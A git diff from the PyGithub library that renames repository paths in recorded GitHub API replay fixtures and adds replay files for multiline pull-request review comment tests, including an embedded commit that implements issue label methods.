-/repos/jacquev6/PyGithub/issues/31/comments +/repos/PyGithub/PyGithub/issues/31/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Issue comment created by PyGithub"} 201 -[('status', '201 Created'), ('content-length', '517'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4976'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8387331'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 12:57:51 GMT'), ('etag', '"6d189ee4b6415276097b091d11a77ce0"'), ('content-type', 'application/json; charset=utf-8')] -{"body":"Issue comment created by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-09-08T12:57:51Z","updated_at":"2012-09-08T12:57:51Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8387331","id":8387331} - +[('status', '201 Created'), ('content-length', '517'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4976'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8387331'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 12:57:51 GMT'), ('etag', '"6d189ee4b6415276097b091d11a77ce0"'), ('content-type', 'application/json; charset=utf-8')] +{"body":"Issue comment created by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-09-08T12:57:51Z","updated_at":"2012-09-08T12:57:51Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8387331","id":8387331} diff --git a/tests/ReplayData/PullRequest.testCreateMultilineReviewComment.txt b/tests/ReplayData/PullRequest.testCreateMultilineReviewComment.txt new file mode 100644 index 0000000000..149e6b9134 --- /dev/null +++ b/tests/ReplayData/PullRequest.testCreateMultilineReviewComment.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206.3","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} + +https +POST +api.github.com +None +/repos/PyGithub/PyGithub/pulls/31/comments +{'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +{"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 10, "start_line": 5, "path": "src/github/Issue.py"} +201 +[('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] +{"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"CComment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} diff --git a/tests/ReplayData/PullRequest.testCreateMultilineReviewCommentAsSuggestion.txt b/tests/ReplayData/PullRequest.testCreateMultilineReviewCommentAsSuggestion.txt new file mode 100644 index 0000000000..03e50f9d01 --- /dev/null +++ b/tests/ReplayData/PullRequest.testCreateMultilineReviewCommentAsSuggestion.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] 